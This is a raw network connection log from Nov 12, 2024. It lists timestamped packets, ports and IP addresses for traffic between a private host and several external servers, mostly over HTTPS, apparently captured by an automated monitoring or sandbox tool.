Nov 12, 2024 13:35:15.562146902 CET	49714	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.562153101 CET	443	49714	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.562980890 CET	49715	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.562994003 CET	443	49715	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.563004017 CET	49715	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.563009977 CET	443	49715	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.563235044 CET	49713	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.563239098 CET	443	49713	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.563256979 CET	49713	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.563260078 CET	443	49713	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.564260960 CET	49716	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.564296961 CET	443	49716	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.564328909 CET	49716	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.564335108 CET	443	49716	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.564898968 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.564903975 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.564913034 CET	49712	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.564915895 CET	443	49712	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.766005993 CET	49720	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:15.766031981 CET	443	49720	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:15.766083956 CET	49720	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:15.766129017 CET	49721	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:15.766199112 CET	443	49721	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:15.766216040 CET	49722	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:15.766223907 CET	443	49722	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:15.766252041 CET	49721	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:15.766279936 CET	49722	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:15.766330957 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:15.766343117 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:15.766386032 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:15.766679049 CET	49722	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:15.766694069 CET	443	49722	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:15.766829014 CET	49721	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:15.766846895 CET	443	49721	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:15.766988993 CET	49720	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:15.767000914 CET	443	49720	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:15.767268896 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:15.767282009 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:15.845421076 CET	49724	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.845463037 CET	443	49724	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.845526934 CET	49724	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.846510887 CET	49724	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.846527100 CET	443	49724	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.847706079 CET	49725	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.847740889 CET	443	49725	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.847800016 CET	49725	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.847948074 CET	49725	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.847961903 CET	443	49725	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.849569082 CET	49726	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.849581003 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.849647045 CET	49726	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.850155115 CET	49726	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.850164890 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.850861073 CET	49728	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.850871086 CET	443	49728	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.850909948 CET	49727	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.850914955 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.850923061 CET	49728	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.850955963 CET	49727	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.851044893 CET	49728	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.851053953 CET	443	49728	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:15.851201057 CET	49727	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:15.851210117 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.087985039 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:16.088032961 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:16.145349026 CET	49729	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:16.145373106 CET	443	49729	40.115.3.253	192.168.2.6
Nov 12, 2024 13:35:16.145436049 CET	49729	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:16.146126032 CET	49729	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:16.146147013 CET	443	49729	40.115.3.253	192.168.2.6
Nov 12, 2024 13:35:16.565618992 CET	443	49724	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.566101074 CET	49724	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.566128969 CET	443	49724	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.566718102 CET	49724	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.566735029 CET	443	49724	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.574064970 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.574393988 CET	443	49725	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.574429035 CET	49727	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.574450016 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.574837923 CET	49727	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.574842930 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.575187922 CET	49725	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.575201035 CET	443	49725	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.575598001 CET	49725	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.575602055 CET	443	49725	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.592274904 CET	443	49728	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.592619896 CET	49728	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.592633963 CET	443	49728	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.593039036 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.593044996 CET	49728	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.593049049 CET	443	49728	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.593312025 CET	49726	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.593327045 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.593683004 CET	49726	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.593688011 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.633244038 CET	443	49720	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.633645058 CET	49720	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.633661032 CET	443	49720	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.633964062 CET	443	49721	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.634141922 CET	49721	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.634171009 CET	443	49721	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.634708881 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.635001898 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.635019064 CET	443	49720	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.635021925 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.635080099 CET	49720	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.635256052 CET	443	49721	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.635322094 CET	49721	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.636122942 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.636192083 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.639256954 CET	49720	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.639333963 CET	443	49720	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.639982939 CET	49721	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.640053988 CET	443	49721	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.641894102 CET	49720	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.641908884 CET	443	49720	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.641998053 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.642081022 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.642997026 CET	49721	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.643012047 CET	443	49721	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.644033909 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.644041061 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.644989967 CET	443	49722	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.645344019 CET	49722	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.645358086 CET	443	49722	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.646281004 CET	443	49722	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.646346092 CET	49722	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.646615982 CET	49722	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.646680117 CET	443	49722	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.646744013 CET	49722	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.681843042 CET	49720	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.687376976 CET	443	49722	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.693300009 CET	443	49724	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.693375111 CET	443	49724	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.693630934 CET	49724	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.693887949 CET	49724	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.693887949 CET	49724	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.693911076 CET	443	49724	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.693921089 CET	443	49724	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.697458029 CET	49721	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.697458029 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.697467089 CET	49722	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.697477102 CET	443	49722	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.701210022 CET	49732	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.701225996 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.701344013 CET	49732	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.701927900 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.701988935 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.702049017 CET	49727	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.702147961 CET	49732	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.702158928 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.702821016 CET	49727	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.702832937 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.702842951 CET	49727	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.702847004 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.705131054 CET	49733	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.705188990 CET	443	49733	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.705262899 CET	49733	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.705605030 CET	49733	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.705629110 CET	443	49733	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.717103958 CET	443	49725	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.717598915 CET	443	49725	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.717658043 CET	49725	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.717763901 CET	49725	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.717767954 CET	443	49725	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.717784882 CET	49725	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.717788935 CET	443	49725	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.723722935 CET	49734	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.723733902 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.724009991 CET	49734	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.724327087 CET	49734	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.724343061 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.725311041 CET	443	49728	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.725521088 CET	443	49728	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.725567102 CET	49728	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.725903034 CET	49728	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.725908041 CET	443	49728	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.734221935 CET	49735	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.734280109 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.734343052 CET	49735	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.734822035 CET	49735	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.734847069 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.744317055 CET	49722	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.766784906 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.766932964 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.767023087 CET	49726	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.767321110 CET	49726	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.767321110 CET	49726	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.767338037 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.767345905 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.770232916 CET	49736	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.770256996 CET	443	49736	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.770351887 CET	49736	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.770503044 CET	49736	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:16.770517111 CET	443	49736	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:16.911586046 CET	443	49720	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.912539005 CET	443	49721	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.926099062 CET	443	49722	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.927877903 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.927922010 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.927968979 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.927982092 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.927994013 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.928035975 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.928046942 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.928078890 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.928119898 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.928126097 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.936373949 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.936446905 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.936454058 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.950514078 CET	49721	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.950535059 CET	443	49721	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.950642109 CET	49721	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.951864958 CET	49720	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.951878071 CET	443	49720	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.954184055 CET	49720	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.954221964 CET	443	49720	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.954324961 CET	443	49720	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.954370022 CET	49720	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.954406977 CET	49720	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.967828035 CET	49722	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.967840910 CET	443	49722	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.969525099 CET	49722	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.969578028 CET	443	49722	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.969693899 CET	443	49722	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:16.969707966 CET	49722	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.969733953 CET	49722	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.983153105 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:16.983164072 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.024072886 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.046653986 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.046731949 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.046780109 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.046789885 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.046928883 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.046976089 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.046983004 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.051239014 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.051285982 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.051292896 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.060023069 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.060070038 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.060076952 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.107404947 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.107415915 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.151210070 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.165009975 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.165390968 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.165427923 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.165479898 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.165493965 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.165545940 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.169578075 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.169863939 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.169905901 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.169913054 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.182184935 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.182231903 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.182240009 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.224431992 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.224493027 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.224503040 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.260489941 CET	443	49729	40.115.3.253	192.168.2.6
Nov 12, 2024 13:35:17.260587931 CET	49729	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:17.263300896 CET	49729	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:17.263310909 CET	443	49729	40.115.3.253	192.168.2.6
Nov 12, 2024 13:35:17.263513088 CET	443	49729	40.115.3.253	192.168.2.6
Nov 12, 2024 13:35:17.267319918 CET	49729	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:17.267600060 CET	49729	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:17.267605066 CET	443	49729	40.115.3.253	192.168.2.6
Nov 12, 2024 13:35:17.267731905 CET	49729	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:17.276186943 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.283538103 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.283891916 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.283951044 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.283961058 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.288100958 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.288155079 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.288161993 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.288378954 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.288446903 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.288453102 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.300786018 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.300836086 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.300843000 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.315329075 CET	443	49729	40.115.3.253	192.168.2.6
Nov 12, 2024 13:35:17.343102932 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.343143940 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.343151093 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.343163013 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.343199968 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.402694941 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.402909040 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.402957916 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.402965069 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.407165051 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.407330990 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.407337904 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.415508032 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.415556908 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.415563107 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.415796041 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.415857077 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.415863037 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.433916092 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.434410095 CET	49732	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.434426069 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.434892893 CET	49732	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.434897900 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.452362061 CET	443	49733	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.452958107 CET	49733	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.452980995 CET	443	49733	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.453418016 CET	49733	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.453424931 CET	443	49733	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.454281092 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.454576015 CET	49735	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.454585075 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.454940081 CET	49735	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.454945087 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.461648941 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.461682081 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.461707115 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.461726904 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.462023020 CET	49723	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:17.477842093 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.480178118 CET	49734	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.480195999 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.480931997 CET	49734	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.480936050 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.501844883 CET	443	49723	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:17.517591000 CET	443	49736	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.518050909 CET	443	49729	40.115.3.253	192.168.2.6
Nov 12, 2024 13:35:17.518085957 CET	49736	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:17.518100023 CET	443	49736	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:17.518534899 CET	49729	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:17.518542051 CET	443	49729	40.115.3.253	192.168.2.6
Nov 12, 2024 13:35:17.518574953 CET	49729	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:17.518604994 CET	49729	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:17.518701077 CET	49736	443	192.168.2.6	13.107.246.45
